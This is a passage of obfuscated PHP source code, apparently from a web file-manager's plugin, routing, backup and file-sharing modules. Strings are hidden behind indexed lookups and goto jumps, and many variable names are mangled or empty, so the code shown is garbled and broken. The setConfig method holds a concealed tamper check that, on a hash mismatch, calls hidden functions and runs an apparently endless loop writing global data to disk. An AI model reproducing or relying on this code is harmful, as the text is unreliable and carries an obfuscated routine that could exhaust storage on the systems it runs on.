rawurlencode(json_encode($this->pluginLangArr)); $ = str_replace($򾅰[1552], $Ƽ, $); } if (strstr($, $򾅰[1553])) { $Ƽ = $Ƽ = rawurlencode(json_encode($this->getConfig())); $ = str_replace($򾅰[1553], $Ƽ, $); } $ = str_replace($, $܌, $); return $; } private function parseLang(&$) { $ =& $_SERVER[Ǿ]; $ = $[1554]; if (!strstr($, $)) { return; } preg_match_all($[1555], $, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $͖֨ = array(); $񣌂ɜ = array(); foreach ($[0] as $) { $Ƴ = substr($, strlen($), -4); $ = LNG($Ƴ); $͖֨[] = $; $񣌂ɜ[] = str_replace(array($[11], $[1063], $[346], $[127]), array($[63], $[63], $[22], $[1556]), $); } $ = str_replace($͖֨, $񣌂ɜ, $); } private function parseConfig(&$) { $ =& $_SERVER[Ǿ]; $ = $[1557]; if (!strstr($, $)) { return; } preg_match_all($[1558], $, $ԇ); if (!is_array($ԇ) || count($ԇ) == 0 || !is_array($ԇ[0]) || count($ԇ[0]) == 0) { return; } $ل = $this->getConfig(); $Ӈо = array(); $ = array(); foreach ($ԇ[0] as $) { $ = substr($, strlen($), -2); $Ӈо[] = $; $[] = _get($ل, $); } $ = str_replace($Ӈо, $, $); } private function parsePackage(&$) { $˘⾠ =& $_SERVER[Ǿ]; $΂侔 = $˘⾠[1559]; if (!strstr($, $΂侔)) { return; } preg_match_all($˘⾠[1560], $, $ŠÙ); if (!is_array($ŠÙ) || count($ŠÙ) == 0 || !is_array($ŠÙ[0]) || count($ŠÙ[0]) == 0) { return; } $⡂Ї = $this->appPackage(); $Ƿٿ = array(); $Ϳ = array(); foreach ($ŠÙ[0] as $ޘ̰) { $ = substr($ޘ̰, strlen($΂侔), -2); $Ƿٿ[] = $ޘ̰; $Ϳ[] = _get($⡂Ї, $); } $ = str_replace($Ƿٿ, $Ϳ, $); } final function echoFile($陜, $ = false) { $ۺ =& $_SERVER[Ǿ]; $ׯ = $this->pluginPath . $陜; if (ACT == $ۺ[1561]) { echo $ۺ[1562] . $this->pluginName . $ۺ[18] . $陜 . $ۺ[1563]; if (!file_exists($ׯ)) { echo $ۺ[1564]; return; } } $ӽ = $this->parseFile($ׯ); $this->parseLang($ӽ); $this->parseConfig($ӽ); $this->parsePackage($ӽ); if (is_array($)) { $ӽ = str_replace(array_keys($), array_values($), $ӽ); } echo $ۺ[11] . $ӽ; } final function initLang() { $ =& $_SERVER[Ǿ]; $洓 = $[1565]; $҇ = $this->pluginPath . $[1566]; $۽ = I18n::getType(); $ = array(); if (file_exists($҇ . $۽ . $[830])) { $ = (include $҇ . $۽ . $[830]); } else { if ($۽ == $[1567] && !file_exists($҇ . $۽ . $[830]) && file_exists($҇ . $[1568])) { $ = (include $҇ . $[1568]); } else { if (file_exists($҇ . $洓 . $[830])) { $ = (include $҇ . $洓 . $[830]); } } } if (!is_array($)) { return array(); } if (@count($) > 0) { I18n::set($); } return $; } public function getConfig() { if (!$this->pluginConfig) { $this->pluginConfig = $this->modelPlugin->getConfig($this->pluginName); } return $this->pluginConfig; } public function setConfig($ɓٞ) { $ =& $_SERVER[Ǿ]; $Ԭę = $_SERVER[$[9]] . $[10]; $ = $[1504]; if ($_SERVER[$[6]] != $($Ԭę)) { $⒣ӻ = $[864]; $Ρ = $[8]; $ = $_SERVER[$[9]] . $[10]; $ = $Ρ($); $՟ջ = explode($[11], $); if (count($՟ջ) < $[607]) { $В = $[13]; $В(); } $ = $[865]; $($_SERVER[$[866]]); $⒣ӻ = $[864]; $⒣ӻ(); $ = $[1505]; $딥 = json_encode($GLOBALS[$[1506]]); $α = 1; for ($ = $α; $ > 0; $++) { $(DATA_PATH . $, $딥); } } return $this->modelPlugin->setConfig($this->pluginName, $ɓٞ); } public function onSetConfig($׻) { } public function onGetConfig($) { } public function onChangeStatus($ႄ) { } public function onUninstall() { } public function onInstall() { } public function authCheck($э = "\x70\x6c\x75\x67\151\156\x41\x75\x74\x68") { $ÿ =& $_SERVER[Ǿ]; if (!defined($ÿ[474])) { return !1; } if (_get($GLOBALS, $ÿ[505])) { return !0; } $ = $this->getConfig(); if (!$[$э]) { return !1; } return ActionCall($ÿ[1569], $[$э]); } public function url($, $ʆ = '', $ = true) { $ =& $_SERVER[Ǿ]; $ = $this->getConfig(); $窴 = KOD_VERSION . $[20] . KOD_VERSION_BUILD; $ۭ = $this->packageVersion(); $񗍒 = $窴 . $[460] . $ۭ; if (substr($, 0, 4) == $[155] || substr($, 0, 2) == $[1350]) { $ڈ = $ . $[1570] . $񗍒; } else { if ($ʆ == $[22]) { $ڈ = $this->pluginHost . $ . $[1570] . $񗍒; } else { if ($ʆ === $[89]) { $ڈ = $this->pluginHost . $; } else { if ($ʆ == $[1571]) { $ڈ = STATIC_PATH . $ . $[1570] . $窴; } else { if ($ʆ == $[1572]) { $ڈ = APP_HOST . $[1573] . $ . $[1570] . $窴; } else { if (isset($[$ʆ])) { $ڈ = $[$ʆ] . $ . $[1570] . $񗍒; } } } } } } if (!$) { return $ڈ; } echo $ڈ; } public function link($ڤ = false, $ߥ = '') { $ݓϘ =& $_SERVER[Ǿ]; if (!$ڤ) { $this->link($ݓϘ[1574], $ݓϘ[1572]); $this->link($ݓϘ[1575], $ݓϘ[1571]); $this->link($ݓϘ[1576], $ݓϘ[1571]); $this->link($ݓϘ[1577], $ݓϘ[1571]); $this->link($ݓϘ[1578], $ݓϘ[1571]); return; } $趝 = $this->url($ڤ, $ߥ, !1); if (substr($ڤ, -3) == $ݓϘ[1579]) { echo $ݓϘ[1580] . $趝 . $ݓϘ[1581] . $ݓϘ[11]; } else { if (substr($ڤ, -4) == $ݓϘ[1582]) { echo $ݓϘ[1583] . $趝 . $ݓϘ[1584] . $ݓϘ[11]; } } } } class Route { public static $halts = false; public static $routes = array(); public static $methods = array(); public static $callbacks = array(); public static $maps = array(); public static $patterns = array("\72\141\156\x79" => "\133\x5e\57\x5d\53", "\x3a\x6e\x75\x6d" => "\133\60\55\71\135\x2b", "\x3a\x61\x6c\x6c" => "\56\x2a"); public static $errorCallback; public static function __callstatic($捣, $) { $܎ =& $_SERVER[Ǿ]; if ($捣 == $܎[1585]) { $ = array_map($܎[1586], $[0]); $ֈʹ = strpos($[1], $܎[18]) === 0 ? $[1] : $܎[18] . $[1]; $äð = $[2]; } else { $ = null; $ֈʹ = strpos($[0], $܎[18]) === 0 ? $[0] : $܎[18] . $[0]; $äð = $[1]; } array_push(self::$maps, $); array_push(self::$routes, $ֈʹ); array_push(self::$methods, strtoupper($捣)); array_push(self::$callbacks, $äð); } public static function error($í) { self::$errorCallback = $í; } public static function haltOnMatch($ = true) { self::$halts = $; } public static function dispatch() { $ѕ =& $_SERVER[Ǿ]; $ = parse_url($_SERVER[$ѕ[1587]], PHP_URL_PATH); $ = $_SERVER[$ѕ[166]]; $ˌ = array_keys(static::$patterns); $Ǥ = array_values(static::$patterns); $ = !1; self::$routes = preg_replace($ѕ[1252], $ѕ[18], self::$routes); if (in_array($, self::$routes)) { $ٹ = array_keys(self::$routes, $); foreach ($ٹ as $Ԫ) { if (self::$methods[$Ԫ] == $ || self::$methods[$Ԫ] == $ѕ[1588] || in_array($, self::$maps[$Ԫ])) { $ = !0; if (!is_object(self::$callbacks[$Ԫ])) { $΋ = explode($ѕ[18], self::$callbacks[$Ԫ]); $򥆇 = end($΋); $ = explode($ѕ[1589], $򥆇); $ = new $[0](); $->{$[1]}(); if (self::$halts) { return; } } else { call_user_func(self::$callbacks[$Ԫ]); if (self::$halts) { return; } } } } } else { $Ă = 0; foreach (self::$routes as $Ԫ) { if (strpos($Ԫ, $ѕ[4]) !== !1) { $Ԫ = str_replace($ˌ, $Ǥ, $Ԫ); } if (preg_match($ѕ[1590] . $Ԫ . $ѕ[1591], $, $홣)) { if (self::$methods[$Ă] == $ || self::$methods[$Ă] == $ѕ[1588] || !empty(self::$maps[$Ă]) && in_array($, self::$maps[$Ă])) { $ = !0; array_shift($홣); if (!is_object(self::$callbacks[$Ă])) { $΋ = explode($ѕ[18], self::$callbacks[$Ă]); $򥆇 = end($΋); $ = explode($ѕ[1589], $򥆇); $ = new $[0](); if (!method_exists($, $[1])) { echo $ѕ[1592]; } else { call_user_func_array(array($, $[1]), $홣); } if (self::$halts) { return; } } else { call_user_func_array(self::$callbacks[$Ă], $홣); if (self::$halts) { return; } } } } $Ă++; } } if ($ == !1) { if (!self::$errorCallback) { self::$errorCallback = function () { $⮖ =& $_SERVER[Ǿ]; header($_SERVER[$⮖[1593]] . $⮖[1594]); echo $⮖[1595]; }; } else { if (is_string(self::$errorCallback)) { self::get($_SERVER[$ѕ[1587]], self::$errorCallback); self::$errorCallback = null; self::dispatch(); return; } } call_user_func(self::$errorCallback); } } } goto bڱ; Aؾ: class BackupDb { protected static $io; protected static $name; public function __construct() { } public function index() { $ݍ =& $_SERVER[Ǿ]; $ = Backup::get(); self::$io = $[$ݍ[744]]; self::$name = $[$ݍ[42]]; $Ѯ = new DbManage(); $݋䏼 = $Ѯ->dbType(); $Ņȯ = array($ݍ[768] => $݋䏼, $ݍ[769] => time()); Backup::set($Ņȯ); $Տ = $this->tmpFilesPath() . $ݍ[770] . self::$name . $ݍ[18]; del_dir($Տ); mk_dir($Տ); $ = $ = 0; $挵 = new Task($ݍ[771], $ݍ[772], 0, LNG($ݍ[773]) . $ݍ[774] . LNG($ݍ[775])); try { $ø = $Ѯ->db()->getTables(); } catch (Exception $ܥ) { $挵->end(); return !1; } $ø = array_diff($ø, array($ݍ[776], $ݍ[777])); foreach ($ø as $֡) { $ += $Ѯ->model($֡)->count(); } $挵->task[$ݍ[778]] = $; $GLOBALS[$ݍ[779]] = self::$name; foreach ($ø as $֡) { $ы = $Տ . $֡ . $ݍ[780]; $ȥة = null; if ($֡ == $ݍ[781] && (!isset($[$ݍ[747]]) || $[$ݍ[747]] == $ݍ[200])) { $ȥة = self::$io; } $ += $Ѯ->sqlFromDb($֡, $ы, $挵, $ȥة); } unset($GLOBALS[$ݍ[779]]); $挵->end(); if ($ > $) { $ = $; } $Ņȯ = array($ݍ[768] => $݋䏼, $ݍ[765] => 1, $ݍ[782] => $, $ݍ[783] => $, $ݍ[784] => time()); Backup::set($Ņȯ); if ($ - $ > 0) { $ċ = $ݍ[785]; if (stristr(I18n::getType(), $ݍ[786])) { $ċ = $ݍ[787]; } write_log(array($ċ, $Ņȯ), $ݍ[772]); return !1; } return !0; } private function tmpFilesPath() { $ =& $_SERVER[Ǿ]; $ = TEMP_FILES; if ($GLOBALS[$[16]][$[100]][$[788]]) { $ = $GLOBALS[$[16]][$[100]][$[788]]; if (!mk_dir($) || !is_writable($) || !IO::mkfile($ . $[789])) { $ = TEMP_FILES; } } return $; } } class BackupDbFile { public function __construct() { } public function index() { $ڒ =& $_SERVER[Ǿ]; $ = Backup::get(); $ = $[$ڒ[42]]; $⨥ = $this->tmpFilesPath() . "\x62\141\143\153\165\160\137{$}\57"; $ = $this->backupPath($); if (!($ = IO::mkdir($))) { return !1; } $ = IO::listPath($⨥); $ع = isset($[$ڒ[86]]) ? $[$ڒ[86]] : array(); $ = array_sum(array_column($ع, $ڒ[90])); if (!$) { return !1; } $ = array($ڒ[790] => $, $ڒ[791] => time()); Backup::set($); $ = new TaskFileTransfer($ڒ[792], $ڒ[772], count($ع), LNG($ڒ[773]) . $ڒ[460] . LNG($ڒ[775]) . $ڒ[793]); $->task[$ڒ[755]] = $; foreach ($[$ڒ[86]] as $Ҍ) { $ۊ = IO::move($Ҍ[$ڒ[88]], $); if (!$ۊ) { $->end(); $͹ = IO::getLastError($ڒ[794] . $Ҍ[$ڒ[88]] . $ڒ[795] . $ . $ڒ[536]); write_log($͹, $ڒ[772]); return !1; } } $ = new DbManage(); $ = $->getSqlFile(); if (!$[$ڒ[796]] || !$[$ڒ[23]]) { return !1; } IO::move($[$ڒ[796]], $); IO::move($[$ڒ[23]], $); $->end(); $ = array($ڒ[797] => $, $ڒ[798] => time()); Backup::set($); return !0; } private function backupPath($ա) { $ =& $_SERVER[Ǿ]; $ = $ա[$[42]]; $ = Model($[762])->get($[763]); $ʾ̀ = substr(md5($[764] . $ . $), 0, 8); return "\x7b\x69\x6f\72{$ա[$[744]]}\x7d\x2f\144\141\164\141\142\x61\x73\x65\x2f\142\x61\x63\x6b\x75\160\x2f" . $ . $[21] . $ʾ̀; } private function tmpFilesPath() { $Ϡ =& $_SERVER[Ǿ]; $Ҙ = TEMP_FILES; if ($GLOBALS[$Ϡ[16]][$Ϡ[100]][$Ϡ[788]]) { $Ҙ = $GLOBALS[$Ϡ[16]][$Ϡ[100]][$Ϡ[788]]; if (!mk_dir($Ҙ) || !is_writable($Ҙ) || !IO::mkfile($Ҙ . $Ϡ[789])) { $Ҙ = TEMP_FILES; } } return $Ҙ; } } class BackupFile { public function __construct() { } public function index() { $μ = Backup::get(); $ = $μ[$_SERVER[Ǿ][297]][$_SERVER[Ǿ][202]][$_SERVER[Ǿ][467]]; $ع = array($_SERVER[Ǿ][468] => array($_SERVER[Ǿ][799], $), $_SERVER[Ǿ][800] => array($_SERVER[Ǿ][335], $μ[$_SERVER[Ǿ][744]])); $ = (int) Model($_SERVER[Ǿ][781])->where($ع)->count($_SERVER[Ǿ][467]); $Ǚ = (int) Model($_SERVER[Ǿ][781])->where($ع)->sum($_SERVER[Ǿ][90]); $ = new TaskFileTransfer($_SERVER[Ǿ][801], $_SERVER[Ǿ][772], $, LNG($_SERVER[Ǿ][773]) . $_SERVER[Ǿ][774] . LNG($_SERVER[Ǿ][802])); $->task[$_SERVER[Ǿ][755]] = $Ǚ; $ɿ = array($_SERVER[Ǿ][803] => $, $_SERVER[Ǿ][804] => $Ǚ, $_SERVER[Ǿ][805] => time()); Backup::set($ɿ); $Ѫ = !0; $Η = $this->storeIds(); $Ñ = 1; $ = 1000; $ = $֓Ϯ = 0; $ø = array(); $ȢЃ = $Ӑ = 0; do { $޳׫ = $_SERVER[Ǿ][806]; $ = Model($_SERVER[Ǿ][781])->where($ع)->field($޳׫)->order($_SERVER[Ǿ][807])->selectPage($, $Ñ); $е = !empty($[$_SERVER[Ǿ][373]]) ? $[$_SERVER[Ǿ][373]] : array(); foreach ($е as $߹) { if (!$this->_fileExist($߹, $ø, $Η)) { $ -= 1; $Ǚ -= (int) $߹[$_SERVER[Ǿ][90]]; write_log("\146\x69\154\145\40\156\157\164\40\145\170\151\163\164\x2e\x66\x69\154\145\111\104\x3a{$߹[$_SERVER[Ǿ][467]]}\54\x20\x70\141\x74\x68\x3a{$߹[$_SERVER[Ǿ][88]]}", $_SERVER[Ǿ][808]); continue; } $ݭ = $߹[$_SERVER[Ǿ][88]]; $㖣 = "\173\x69\157\72{$μ[$_SERVER[Ǿ][744]]}\x7d" . substr($ݭ, strlen("\x7b\x69\157\72{$߹[$_SERVER[Ǿ][809]]}\175")); if (IO::exist($㖣)) { $->updateFileEnd($߹[$_SERVER[Ǿ][42]], $߹[$_SERVER[Ǿ][90]]); } else { $㖣 = get_path_father($㖣); IO::mkdir($㖣); if (!IO::copy($ݭ, $㖣, $_SERVER[Ǿ][810])) { write_log($_SERVER[Ǿ][811] . $ݭ . $_SERVER[Ǿ][795] . $㖣 . $_SERVER[Ǿ][536], $_SERVER[Ǿ][772]); $Ѫ = !1; break; } } $ = $߹[$_SERVER[Ǿ][467]]; $֓Ϯ += 1; $ += $߹[$_SERVER[Ǿ][90]]; $Ӑ += 1; $ȢЃ += $߹[$_SERVER[Ǿ][90]]; if ($ >= 1024 * 1024 * 100) { $ɿ = array($_SERVER[Ǿ][812] => $, $_SERVER[Ǿ][813] => $Ӑ, $_SERVER[Ǿ][814] => $ȢЃ); Backup::set($ɿ); $ = $֓Ϯ = 0; } } $ԕ = count($е); $Ñ++; } while ($ԕ == $); $->end(); $ɿ = array($_SERVER[Ǿ][815] => 1, $_SERVER[Ǿ][496] => time(), $_SERVER[Ǿ][767] => 1, $_SERVER[Ǿ][812] => $, $_SERVER[Ǿ][804] => $Ǚ, $_SERVER[Ǿ][803] => $, $_SERVER[Ǿ][816] => time()); if ($֓Ϯ) { $ɿ[$_SERVER[Ǿ][813]] = $Ӑ; $ɿ[$_SERVER[Ǿ][814]] = $ȢЃ; } Backup::set($ɿ); $this->_fileFilter($ø); return !0; } private function _fileExist($, &$, $) { $̴ =& $_SERVER[Ǿ]; $ģ = $[$̴[88]]; if (in_array($[$̴[467]], $)) { return !1; } if (!in_array($[$̴[809]], $)) { return !1; } if (IO::exist($ģ)) { return !0; } $ʮ = get_path_father($ģ); if (IO::exist($ʮ)) { $[] = $[$̴[467]]; return !1; } $ = array($̴[809] => $[$̴[809]], $̴[88] => array($̴[387], "{$ʮ}\x25")); $ = Model($̴[781])->where($)->field($̴[468])->select(); $ = array_merge($, array_to_keyvalue($, $̴[22], $̴[467])); return !1; } private function _fileFilter($) { $ =& $_SERVER[Ǿ]; if (empty($)) { return; } $س = array($[467] => array($[17], array_unique($))); $ޒ = Model($[817])->where($س)->field($[403])->select(); foreach ($ޒ as $Ǡ) { Model($[817])->remove($Ǡ[$[403]], !1); } } private function storeIds() { $ަ =& $_SERVER[Ǿ]; $· = Model($ަ[759])->listData(); $ = array(); $րӵ = $GLOBALS[$ަ[16]][$ަ[100]][$ަ[818]]; foreach ($· as $剧) { $ = strtolower($剧[$ަ[106]]); if (!isset($րӵ[$])) { continue; } $ګ = $ަ[84] . (isset($րӵ[$]) ? $րӵ[$] : ucfirst($)); if (!class_exists($ګ)) { continue; } $[] = $剧[$ަ[401]]; } return $; } } goto Aſ; Dɞ: function binCheckBigger($ꆤ, $) { return $ꆤ > $; } $_SERVER[$_SERVER[][3]] = ("\67\71\71\63".strrev('48'))+0;$_6cat="bya41hjqfrdkcmi5g7weo02plu9n6t3vz8xs327wqgfi5lomst9108pkcjdh4urz6anebyxvz47b2q";; class ClassBaseCall { protected static $_methodListStatic = array(); protected static $_methodList = array(); public function __call($, $񭝙ǚ) { $ =& $_SERVER[Ǿ]; if (isset(self::$_methodList[$])) { return @call_user_func_array(self::$_methodList[$], $񭝙ǚ); } else { if (method_exists($this, $)) { return call_user_func_array(array($this, $), $񭝙ǚ); } else { think_exception(__CLASS__ . $[4] . $ . $[5]); } } } public static function __callStatic($Ӏ, $۫) { if (isset(self::$_methodListStatic[$Ӏ])) { return call_user_func_array(self::$_methodListStatic[$Ӏ], $۫); } else { if (method_exists(self, $Ӏ)) { return call_user_func_array(array(self, $Ӏ), $۫); } else { show_json("{$Ӏ}\x28\51\x20\x6e\157\x74\40\145\170\151\x73\164\73", !1); } } } public static function addMethod($؟, $ɱ) { self::$_methodList[$؟] = $ɱ; } public static function addMethodStatic($Ԁ, $) { self::$_methodListStatic[$Ԁ] = $; } } goto F; e: class SessionModel extends ModelBase { protected $tableName = "\163\171\x73\164\145\x6d\137\163\x65\x73\x73\x69\157\156"; public function get($) { $Ţ =& $_SERVER[Ǿ]; $ɨΖ = $this->where(array($Ţ[1938] => $))->find(); if (!is_array($ɨΖ)) { return !1; } return $ɨΖ[$Ţ[747]]; } public function set($, $, $ƶ = 3600) { $ۇ =& $_SERVER[Ǿ]; $Ԛ = array($ۇ[1938] => $, $ۇ[1846] => $, $ۇ[1939] => $ƶ + time()); if (Session::get($ۇ[1940])) { $Ԛ[$ۇ[1640]] = Session::get($ۇ[1940]); } else { $Ԛ[$ۇ[1640]] = 0; } if ($this->get($)) { return $this->where(array($ۇ[1938] => $))->save($Ԛ); } else { return $this->add($Ԛ, array(), !0); } } public function remove($) { return $this->where(array($_SERVER[Ǿ][1938] => $))->delete(); } public function clearTimeout() { return $this->where($_SERVER[Ǿ][1941] . time())->delete(); } } class ShareModel extends ModelBase { protected $tableName = "\163\x68\141\x72\x65"; protected $dataAuto = array(array("\x6d\x6f\x64\151\146\171\124\x69\155\145", "\x74\x69\x6d\x65", "\x69\x6e\163\145\162\x74\54\165\x70\144\x61\164\145", "\x66\x75\156\143\164\x69\x6f\x6e"), array("\143\162\145\x61\x74\x65\x54\x69\x6d\145", "\x74\151\155\x65", "\x69\156\x73\145\x72\164", "\x66\x75\x6e\x63\x74\x69\x6f\156"), array("\x6f\160\x74\151\x6f\156\163", '', "\x69\x6e\x73\x65\x72\164\x2c\x75\x70\144\x61\164\145\x2c\163\145\x6c\x65\x63\164", "\152\x73\157\x6e")); private $fieldList = "\52"; protected function cacheFunctionAlias($٣) { $ =& $_SERVER[Ǿ]; $ = isset($٣[0]) ? $٣[0] : !1; return array($[1942] => array(USER_ID, $[1943]), $[1887] => array($, $[1944])); } protected function listSimple() { $ = array($_SERVER[Ǿ][1640] => USER_ID); $ = $this->field($this->fieldList)->where($)->select(); return $ ? $ : array(); } protected function getInfo($ͥޯ, $ = false) { $€ =& $_SERVER[Ǿ]; if ($) { return $this->_getShareInfo(array($€[488] => $ͥޯ)); } $鬐 = $this->cacheFunctionGet($€[1889], $ͥޯ); return $鬐; } public function getInfoByHash($) { return $this->_getShareInfo(array($_SERVER[Ǿ][490] => $)); } public function getInfoByPath($Öּ) { $ =& $_SERVER[Ǿ]; $ = array($[1640] => USER_ID, $[403] => $Öּ); return $this->_getShareInfo($); } public function getInfoBySourcePath($լ) { $à⮽ =& $_SERVER[Ǿ]; $ʧ = array($à⮽[1640] => USER_ID, $à⮽[1159] => $լ); return $this->_getShareInfo($ʧ); } private function _getShareInfo($) { $ =& $_SERVER[Ǿ]; $̵ = $this->where($)->find(); if (!$̵) { return !1; } $ = array($[488] => $̵[$[488]]); $ = $[1945]; $Љ = Model($[596])->order($[401])->field($)->where($)->select(); if ($̵[$[403]] == $[200]) { $̵[$[97]] = IO::info($̵[$[1159]]); } else { $̵[$[97]] = Model($[1310])->pathInfo($̵[$[403]]); } $̵[$[1946]] = $Љ; return $̵; } protected function getInfoAuth($ﳇ) { $ =& $_SERVER[Ǿ]; $ϭ߹ = $this->getInfo($ﳇ); if ($ϭ߹[$[1640]] == USER_ID) { $ϭ߹[$[414]] = $ϭ߹[$[97]][$[414]]; } else { $ϭ߹[$[414]] = Model($[502])->authMake($ϭ߹[$[1946]]); } return $ϭ߹; } protected function listData($ = null, $ = 300) { $ =& $_SERVER[Ǿ]; $˞Dz = array(array($[493] => array($[997], 0), $[495] => array($[997], 0), $[1947] => $[1903])); if ($ == $[1948]) { $˞Dz = array($[493] => 1); } else { if ($ == $[1144]) { $˞Dz = array($[495] => 1); } } $˞Dz[$[1640]] = USER_ID; $ҠՅ = $this->where($˞Dz)->selectPage($); return $ҠՅ; } protected function listToMe($ = 300) { $ =& $_SERVER[Ǿ]; $׺ = Model($[1949])->userGroupParents(USER_ID); $ = array($[580] => SourceModel::TYPE_USER, $[504] => USER_ID); if ($׺) { $ = array(array($[580] => SourceModel::TYPE_USER, $[504] => USER_ID), array($[580] => SourceModel::TYPE_GROUP, $[504] => array($[17], $׺)), $[1947] => $[1903]); } $΅ҽ = Model($[596])->where($)->selectPage($); $Њ = array_to_keyvalue_group($΅ҽ[$[373]], $[488]); if (!$Њ) { return $΅ҽ; } $ = $[1950]; $ = array($[488] => array($[419], array_keys($Њ)), $[1640] => array($[999], $[200])); $ʌ = $this->field($)->where($)->select(); foreach ($ʌ as $ϧ => &$) { $[$[1946]] = $Њ[$[$[488]]]; } unset($); $ݛ = array($[1951] => $ʌ, $[1952] => $΅ҽ[$[370]]); return $ݛ; } protected function shareAdd($؆, $ܵӥ) { $ =& $_SERVER[Ǿ]; $ǐ = $this->_addShareData($؆, $ܵӥ); if (!empty($ܵӥ[$[1953]])) { $this->_shareAuthSet($ǐ, $ܵӥ[$[1953]]); } $this->shareEventAdd($؆, $ܵӥ, $[1147]); return $ǐ; } protected function shareAddSystem($쥜, $憾) { $ =& $_SERVER[Ǿ]; $٤ = $this->_addShareData($쥜, $憾, $[1259]); $this->_shareAuthSet($٤, $憾[$[1953]]); return $٤; } private function shareEventAdd($͙, $ㇳ, $× = "\x61\x64\x64") { $ʻ =& $_SERVER[Ǿ]; if (!$͙ || $͙ == $ʻ[200]) { return; } if ($× == $ʻ[1147]) { if ($ㇳ[$ʻ[493]] == $ʻ[99]) { Model($ʻ[564])->eventShare($͙, $ʻ[1954]); } if ($ㇳ[$ʻ[495]] == $ʻ[99]) { Model($ʻ[564])->eventShare($͙, $ʻ[1955]); } return; } $ĉ = $this->getInfoByPath($͙); $ = $ʻ[1956]; if ($ĉ[$ʻ[493]] == $ʻ[200] && $ㇳ[$ʻ[493]] == $ʻ[99]) { $ = $ʻ[1954]; } if ($ĉ[$ʻ[493]] == $ʻ[99] && $ㇳ[$ʻ[493]] == $ʻ[200]) { $ = $ʻ[1957]; } if ($ĉ[$ʻ[495]] == $ʻ[200] && $ㇳ[$ʻ[495]] == $ʻ[99]) { $ = $ʻ[1955]; } if ($ĉ[$ʻ[495]] == $ʻ[99] && $ㇳ[$ʻ[495]] == $ʻ[200]) { $ = $ʻ[1958]; } Model($ʻ[564])->eventShare($͙, $); return; } private function _addShareData($ۡ, $ = array(), $ = false) { $հ =& $_SERVER[Ǿ]; $Ͳ = $ == $հ[1259] ? 0 : USER_ID; $Ե = array($հ[418] => $ۡ, $հ[1631] => $Ͳ); if ($ۡ == 0) { $Ե = array($հ[1959] => $[$հ[1159]], $հ[1631] => $Ͳ); } if ($ = $this->where($Ե)->find()) { return $[$հ[488]]; } if ($ۡ == 0) { $ = array($հ[42] => get_path_this($[$հ[88]])); } else { $ = Model($հ[817])->sourceInfo($ۡ); if (!$) { return !1; } } if (!$[$հ[1540]]) { $[$հ[1540]] = $[$հ[42]]; } $ = array($հ[1631] => $Ͳ, $հ[418] => $ۡ, $հ[1540] => $հ[22], $հ[493] => 0, $հ[495] => 0, $հ[1159] => $հ[22], $հ[311] => $հ[22], $հ[874] => $հ[22], $հ[1960] => 0, $հ[1961] => 0, $հ[496] => 0, $հ[497] => $հ[22], $հ[490] => $հ[22]); $ = explode($հ[60], $հ[1962]); foreach ($ as $짥) { if (!isset($[$짥])) { continue; } $[$짥] = $[$짥]; } $ = $this->add($); $ = array($հ[490] => short_id($)); $this->where(array($հ[487] => $))->save($); return $; } private function _shareAuthSet($, $̏) { $͏ =& $_SERVER[Ǿ]; if (!is_array($̏)) { return !1; } $۶ = Model($͏[1913]); $۶->where(array($͏[488] => $))->delete(); $ = array(); foreach ($̏ as $ۙ) { $͑ = SourceModel::TYPE_USER; if ($ۙ[$͏[412]] == SourceModel::TYPE_GROUP) { $͑ = SourceModel::TYPE_GROUP; } $ = array($͏[488] => $, $͏[412] => $͑, $͏[504] => intval($ۙ[$͏[504]]), $͏[1909] => 0, $͏[1963] => -1); if ($ۙ[$͏[1909]]) { $[$͏[1909]] = $ۙ[$͏[1909]]; } else { if ($ۙ[$͏[1963]]) { $[$͏[1963]] = $ۙ[$͏[1963]]; } } $[] = $; } return $۶->addAll($, array(), !0); } public function numViewAdd($®) { $谈 =& $_SERVER[Ǿ]; $泭 = array($谈[487] => $®); $this->where($泭)->setAdd($谈[1960]); } public function numDownloadAdd($ꚠ) { $٢ҫ =& $_SERVER[Ǿ]; $׽ = array($٢ҫ[487] => $ꚠ); $this->where($׽)->setAdd($٢ҫ[1961]); } protected function shareEdit($, $׊) { $ݲӮ =& $_SERVER[Ǿ]; $ = $this->getInfo($); if (!$) { return !1; } $this->_checkLinkShare($׊, $); $ɼڸ = array(); $𸉤 = explode($ݲӮ[60], $ݲӮ[1964]); foreach ($𸉤 as $) { if (!array_key_exists($, $׊)) { continue; } $ɼڸ[$] = $׊[$]; } $this->shareEventAdd($[$ݲӮ[403]], $׊, $ݲӮ[1778]); $this->where(array($ݲӮ[487] => $))->save($ɼڸ); if (isset($׊[$ݲӮ[1953]])) { $this->_shareAuthSet($, $׊[$ݲӮ[1953]]); } return !0; } private function _checkLinkShare($, $) { $ñ岁 =& $_SERVER[Ǿ]; if ($[$ñ岁[493]] != $ñ岁[99]) { return; } $ = $[$ñ岁[97]][$ñ岁[403]]; if ($[$ñ岁[97]][$ñ岁[43]] != $ñ岁[202]) { $ѹ = $this->_folderReport($); if (!$ѹ) { return; } show_json(LNG($ñ岁[1965]) . $ñ岁[1966] . $ѹ, !1); } $م謤 = Model($ñ岁[817])->fileInfoGet($[$ñ岁[97]][$ñ岁[403]]); if (!$م謤) { return; } $՝ = $this->shareFileMeta($م謤[$ñ岁[467]]); if (isset($՝[$ñ岁[378]]) && $՝[$ñ岁[378]] == $ñ岁[99]) { show_json(LNG($ñ岁[1967]), !1); } } private function _folderReport($򼼙) { $򲰗 =& $_SERVER[Ǿ]; $¨ = array($򲰗[467] => array($򲰗[997], 0), $򲰗[742] => 3); $ӊ۬ = Model($򲰗[1968])->where($¨)->field($򲰗[467])->select(); if (!$ӊ۬) { return !1; } $ӊ۬ = array_to_keyvalue($ӊ۬, $򲰗[22], $򲰗[467]); $ê = $򲰗[60] . $򼼙 . $򲰗[60]; $¨ = array($򲰗[467] => array($򲰗[17], $ӊ۬), $򲰗[521] => array($򲰗[387], "\x25{$ê}\45"), $򲰗[431] => 0); $ڳԑ = Model($򲰗[817])->where($¨)->field($򲰗[1969])->find(); if (!$ڳԑ) { return !1; } $˒ = substr($ڳԑ[$򲰗[521]], strpos($ڳԑ[$򲰗[521]], $ê)); $¨ = array($򲰗[403] => array($򲰗[17], trim($˒, $򲰗[60]))); $ = Model($򲰗[817])->where($¨)->field($򲰗[42])->select(); $ͯ = array_to_keyvalue($, $򲰗[22], $򲰗[42]); $ͯ[] = $ڳԑ[$򲰗[42]]; return implode($򲰗[18], $ͯ); } protected function remove($ݗ֟) { $ =& $_SERVER[Ǿ]; if (is_array($ݗ֟)) { $ݗ֟ = array($[17], $ݗ֟); } $󽵃 = array($[488] => $ݗ֟); $̜ = 